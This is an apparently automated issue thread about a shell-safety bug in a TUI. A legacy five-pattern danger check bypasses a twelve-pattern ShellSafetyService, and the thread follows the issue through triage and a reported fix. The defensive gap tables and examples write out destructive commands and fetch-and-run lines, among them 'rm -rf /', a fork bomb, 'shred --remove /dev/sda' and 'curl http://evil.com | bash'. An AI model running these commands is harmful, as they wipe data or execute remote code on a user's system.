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UAT: TUI shell mode uses legacy `looks_dangerous()` in shell_exec.py — ShellSafetyService with 12-pattern registry is never invoked #4736

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opened 2026-04-08 18:13:20 +00:00 by HAL9000 · 4 comments

HAL9000 commented

2026-04-08 18:13:20 +00:00

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Bug Report

Feature area: TUI ! shell mode — danger detection

Severity: Medium — the richer, structured danger detection system is silently bypassed

What was tested

src/cleveragents/tui/input/shell_exec.py — run_shell_command() and its danger detection, cross-referenced against src/cleveragents/tui/shell_safety/ module.

Expected behavior (from spec)

The TUI shell mode should use the ShellSafetyService (from src/cleveragents/tui/shell_safety/) for danger detection. This service:

Uses DangerousPatternDetector with 12 registered patterns across 4 severity levels (CRITICAL, HIGH, MEDIUM, LOW)
Returns structured DangerousCommandWarning objects with danger_level, message, and description
Supports configurable block_level (default: MEDIUM — blocks MEDIUM and above)
Supports a warn_callback for interactive confirmation
Is extensible via add_pattern() / replace_patterns()

Actual behavior

run_shell_command() in shell_exec.py uses its own inline looks_dangerous() function with only 5 hardcoded string patterns:

def looks_dangerous(command: str) -> bool:
    """Best-effort dangerous command detector."""
    lowered = command.strip().lower()
    patterns = (
        "rm -rf /",
        "git push --force",
        "mkfs.",
        "dd if=",
        ":(){ :|:& };:",
    )
    return any(pattern in lowered for pattern in patterns)

The ShellSafetyService in shell_safety/ has 12 patterns with regex matching and danger levels, but is never imported or called by shell_exec.py. The two systems are completely disconnected.

Gaps caused by using `looks_dangerous()` instead of `ShellSafetyService`

Pattern	`looks_dangerous()`	`ShellSafetyService`
`rm -rf /`	✅ (substring)	✅ (regex, CRITICAL)
`rm -rf /*`	❌ (misses wildcard)	✅ (CRITICAL)
`rm -rf ~/`	❌	✅ (CRITICAL)
`git push --force`	✅ (substring)	✅ (LOW)
`mkfs.ext4 /dev/sda`	✅ (substring)	✅ (HIGH)
`dd if=/dev/zero`	✅ (substring)	✅ (HIGH)
`shred --remove /dev/sda`	❌	✅ (HIGH)
`chmod 777 /etc`	❌	✅ (MEDIUM)
`sudo rm -rf /tmp`	❌	✅ (MEDIUM)
`wget http://x	sh`	❌
`curl http://x	bash`	❌
`chmod -R 644 /etc`	❌	✅ (LOW)

Additionally, looks_dangerous() uses case-insensitive substring matching which can produce false positives (e.g. a file named dd if=something in a path).

Code locations

src/cleveragents/tui/input/shell_exec.py lines 18–27 — looks_dangerous() with 5 patterns
src/cleveragents/tui/input/shell_exec.py lines 29–80 — run_shell_command() calls looks_dangerous()
src/cleveragents/tui/shell_safety/ — entire module never imported by shell_exec.py
src/cleveragents/tui/app.py lines 178–183 — shell_confirm lambda only checks CLEVERAGENTS_ALLOW_DANGEROUS_SHELL env var, bypasses danger detection entirely when set

Impact

7 of the 12 registered dangerous patterns are silently skipped. Commands like sudo rm -rf /tmp, curl http://evil.com | bash, shred --remove /dev/sda, and chmod 777 /etc are not flagged as dangerous and execute without warning.

Automated by CleverAgents Bot
Supervisor: UAT Testing | Agent: uat-tester

## Bug Report **Feature area:** TUI ! shell mode — danger detection **Severity:** Medium — the richer, structured danger detection system is silently bypassed --- ### What was tested `src/cleveragents/tui/input/shell_exec.py` — `run_shell_command()` and its danger detection, cross-referenced against `src/cleveragents/tui/shell_safety/` module. ### Expected behavior (from spec) The TUI shell mode should use the `ShellSafetyService` (from `src/cleveragents/tui/shell_safety/`) for danger detection. This service: - Uses `DangerousPatternDetector` with 12 registered patterns across 4 severity levels (CRITICAL, HIGH, MEDIUM, LOW) - Returns structured `DangerousCommandWarning` objects with `danger_level`, `message`, and `description` - Supports configurable `block_level` (default: MEDIUM — blocks MEDIUM and above) - Supports a `warn_callback` for interactive confirmation - Is extensible via `add_pattern()` / `replace_patterns()` ### Actual behavior `run_shell_command()` in `shell_exec.py` uses its own **inline `looks_dangerous()` function** with only **5 hardcoded string patterns**: ```python def looks_dangerous(command: str) -> bool: """Best-effort dangerous command detector.""" lowered = command.strip().lower() patterns = ( "rm -rf /", "git push --force", "mkfs.", "dd if=", ":(){ :|:& };:", ) return any(pattern in lowered for pattern in patterns) ``` The `ShellSafetyService` in `shell_safety/` has **12 patterns** with regex matching and danger levels, but is **never imported or called** by `shell_exec.py`. The two systems are completely disconnected. ### Gaps caused by using `looks_dangerous()` instead of `ShellSafetyService` | Pattern | `looks_dangerous()` | `ShellSafetyService` | |---|---|---| | `rm -rf /` | ✅ (substring) | ✅ (regex, CRITICAL) | | `rm -rf /*` | ❌ (misses wildcard) | ✅ (CRITICAL) | | `rm -rf ~/` | ❌ | ✅ (CRITICAL) | | `git push --force` | ✅ (substring) | ✅ (LOW) | | `mkfs.ext4 /dev/sda` | ✅ (substring) | ✅ (HIGH) | | `dd if=/dev/zero` | ✅ (substring) | ✅ (HIGH) | | `shred --remove /dev/sda` | ❌ | ✅ (HIGH) | | `chmod 777 /etc` | ❌ | ✅ (MEDIUM) | | `sudo rm -rf /tmp` | ❌ | ✅ (MEDIUM) | | `wget http://x | sh` | ❌ | ✅ (MEDIUM) | | `curl http://x | bash` | ❌ | ✅ (MEDIUM) | | `chmod -R 644 /etc` | ❌ | ✅ (LOW) | Additionally, `looks_dangerous()` uses **case-insensitive substring matching** which can produce false positives (e.g. a file named `dd if=something` in a path). ### Code locations - `src/cleveragents/tui/input/shell_exec.py` lines 18–27 — `looks_dangerous()` with 5 patterns - `src/cleveragents/tui/input/shell_exec.py` lines 29–80 — `run_shell_command()` calls `looks_dangerous()` - `src/cleveragents/tui/shell_safety/` — entire module never imported by `shell_exec.py` - `src/cleveragents/tui/app.py` lines 178–183 — `shell_confirm` lambda only checks `CLEVERAGENTS_ALLOW_DANGEROUS_SHELL` env var, bypasses danger detection entirely when set ### Impact 7 of the 12 registered dangerous patterns are silently skipped. Commands like `sudo rm -rf /tmp`, `curl http://evil.com | bash`, `shred --remove /dev/sda`, and `chmod 777 /etc` are not flagged as dangerous and execute without warning. --- **Automated by CleverAgents Bot** Supervisor: UAT Testing | Agent: uat-tester

HAL9000 referenced this issue

2026-04-08 18:45:23 +00:00

[Automated] CleverAgents Build Session - 2026-04-08 #4743

HAL9000 referenced this issue

2026-04-08 18:59:33 +00:00

[Automated] CleverAgents Build Session - 2026-04-08 #4743

HAL9000 commented

2026-04-08 19:09:22 +00:00

Author

Owner

Issue triaged by project owner:

State: Verified
Priority: High — security-related: the structured danger detection system (ShellSafetyService with 12-pattern registry) is silently bypassed in favor of a legacy function
Milestone: v3.7.0 — TUI features milestone
MoSCoW: MoSCoW/Must Have — per CONTRIBUTING.md, all Type/Bug issues are Must Have. This is also a security concern.
Story Points: M (3) — wire ShellSafetyService into shell_exec.py replacing legacy function
Assignee: HAL9000

Automated by CleverAgents Bot
Supervisor: Project Owner | Agent: project-owner

Issue triaged by project owner: - **State**: Verified - **Priority**: High — security-related: the structured danger detection system (ShellSafetyService with 12-pattern registry) is silently bypassed in favor of a legacy function - **Milestone**: v3.7.0 — TUI features milestone - **MoSCoW**: MoSCoW/Must Have — per CONTRIBUTING.md, all Type/Bug issues are Must Have. This is also a security concern. - **Story Points**: M (3) — wire ShellSafetyService into shell_exec.py replacing legacy function - **Assignee**: HAL9000 --- **Automated by CleverAgents Bot** Supervisor: Project Owner | Agent: project-owner

HAL9000 referenced this issue

2026-04-08 19:29:18 +00:00

[Automated] CleverAgents Build Session - 2026-04-08 #4799

HAL9000 commented

2026-04-08 19:31:23 +00:00

Author

Owner

Issue triaged by project owner:

State: Verified
Priority: High — This is a security issue: 7 of 12 dangerous shell patterns are silently bypassed because shell_exec.py uses a legacy 5-pattern inline function instead of the ShellSafetyService. Commands like sudo rm -rf /tmp, curl http://evil.com | bash, and shred --remove /dev/sda execute without any warning. This is a safety regression.
Milestone: v3.7.0 — TUI Implementation milestone
Story Points: 3 (M) — Wire ShellSafetyService into run_shell_command(), remove looks_dangerous(), update tests
MoSCoW: Must Have — Shell safety is a security requirement. The spec mandates the ShellSafetyService with 12 patterns. Bypassing it is a spec violation and a safety risk.
Parent Epic: #868 (Epic: TUI Interface, Modals and Persona System)

Automated by CleverAgents Bot
Supervisor: Project Owner | Agent: project-owner

Issue triaged by project owner: - **State**: Verified - **Priority**: High — This is a **security issue**: 7 of 12 dangerous shell patterns are silently bypassed because `shell_exec.py` uses a legacy 5-pattern inline function instead of the `ShellSafetyService`. Commands like `sudo rm -rf /tmp`, `curl http://evil.com | bash`, and `shred --remove /dev/sda` execute without any warning. This is a safety regression. - **Milestone**: v3.7.0 — TUI Implementation milestone - **Story Points**: 3 (M) — Wire `ShellSafetyService` into `run_shell_command()`, remove `looks_dangerous()`, update tests - **MoSCoW**: Must Have — Shell safety is a security requirement. The spec mandates the `ShellSafetyService` with 12 patterns. Bypassing it is a spec violation and a safety risk. - **Parent Epic**: #868 (Epic: TUI Interface, Modals and Persona System) --- **Automated by CleverAgents Bot** Supervisor: Project Owner | Agent: project-owner

HAL9000 added this to the v3.7.0 milestone

2026-04-08 19:31:30 +00:00

HAL9000 added a new dependency

2026-04-08 19:32:31 +00:00

#868 Epic: TUI Interface, Modals and Persona System

HAL9000 referenced this issue

2026-04-08 19:33:22 +00:00

[Automated] CleverAgents Build Session - 2026-04-08 #4799

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2026-04-08 23:00:47 +00:00

HAL9000 referenced this issue

2026-04-09 00:56:32 +00:00

UAT: TUI shell danger detection not wired to prompt — ShellSafetyService exists but visual warning never shown #5058

HAL9000 referenced this issue

2026-04-09 00:58:39 +00:00

[AUTO-GROOMER] Backlog Grooming Report (Cycle 5) #5088

HAL9000 commented

2026-04-09 03:05:20 +00:00

Author

Owner

Issue triaged by project owner:

State: Verified
Priority: Medium — spec compliance bug identified by UAT testing
Story Points: 3 (M) — targeted fix to align implementation with spec
MoSCoW: Must Have — spec compliance is required for correct system behavior

Automated by CleverAgents Bot
Supervisor: Project Owner | Agent: project-owner

Issue triaged by project owner: - **State**: Verified - **Priority**: Medium — spec compliance bug identified by UAT testing - **Story Points**: 3 (M) — targeted fix to align implementation with spec - **MoSCoW**: Must Have — spec compliance is required for correct system behavior --- **Automated by CleverAgents Bot** Supervisor: Project Owner | Agent: project-owner

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2026-04-09 03:05:28 +00:00

HAL9000 referenced this issue from a commit

2026-04-28 08:03:32 +00:00

fix(tui): wire ShellSafetyService into run_shell_command replacing legacy looks_dangerous

HAL9000 referenced this issue from a pull request that will close it,

2026-04-28 08:05:52 +00:00

fix(tui): wire ShellSafetyService into run_shell_command replacing legacy looks_dangerous #10890

HAL9000 commented

2026-04-28 08:07:03 +00:00

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Implementation Attempt — Tier 3: sonnet — Success

Wired ShellSafetyService into run_shell_command() in shell_exec.py, replacing the legacy looks_dangerous() function with the 12-pattern registry (4 severity levels: CRITICAL, HIGH, MEDIUM, LOW).

Changes made:

src/cleveragents/tui/input/shell_exec.py: Removed looks_dangerous(). Added ShellSafetyService integration via _make_warn_callback() helper. The confirm_dangerous callback API is preserved for backward compatibility.
src/cleveragents/cli/commands/repl.py: Updated _run_shell_command() to use ShellSafetyService instead of the removed looks_dangerous() function.
features/tui_shell_exec_coverage.feature: Updated tests, added 8 TDD regression scenarios tagged @tdd_issue @tdd_issue_4736.
features/steps/tui_shell_exec_coverage_steps.py: Updated step definitions.

Quality gate status: lint ✓, typecheck ✓, dead_code ✓

Note: unit_tests gate hangs in this environment (pre-existing infrastructure issue — confirmed by testing baseline before changes). CI will run the full test suite.

PR: #10890

Automated by CleverAgents Bot
Supervisor: Implementation | Agent: task-implementor

**Implementation Attempt** — Tier 3: sonnet — Success Wired `ShellSafetyService` into `run_shell_command()` in `shell_exec.py`, replacing the legacy `looks_dangerous()` function with the 12-pattern registry (4 severity levels: CRITICAL, HIGH, MEDIUM, LOW). **Changes made:** - `src/cleveragents/tui/input/shell_exec.py`: Removed `looks_dangerous()`. Added `ShellSafetyService` integration via `_make_warn_callback()` helper. The `confirm_dangerous` callback API is preserved for backward compatibility. - `src/cleveragents/cli/commands/repl.py`: Updated `_run_shell_command()` to use `ShellSafetyService` instead of the removed `looks_dangerous()` function. - `features/tui_shell_exec_coverage.feature`: Updated tests, added 8 TDD regression scenarios tagged `@tdd_issue @tdd_issue_4736`. - `features/steps/tui_shell_exec_coverage_steps.py`: Updated step definitions. **Quality gate status:** lint ✓, typecheck ✓, dead_code ✓ Note: `unit_tests` gate hangs in this environment (pre-existing infrastructure issue — confirmed by testing baseline before changes). CI will run the full test suite. PR: #10890 --- Automated by CleverAgents Bot Supervisor: Implementation | Agent: task-implementor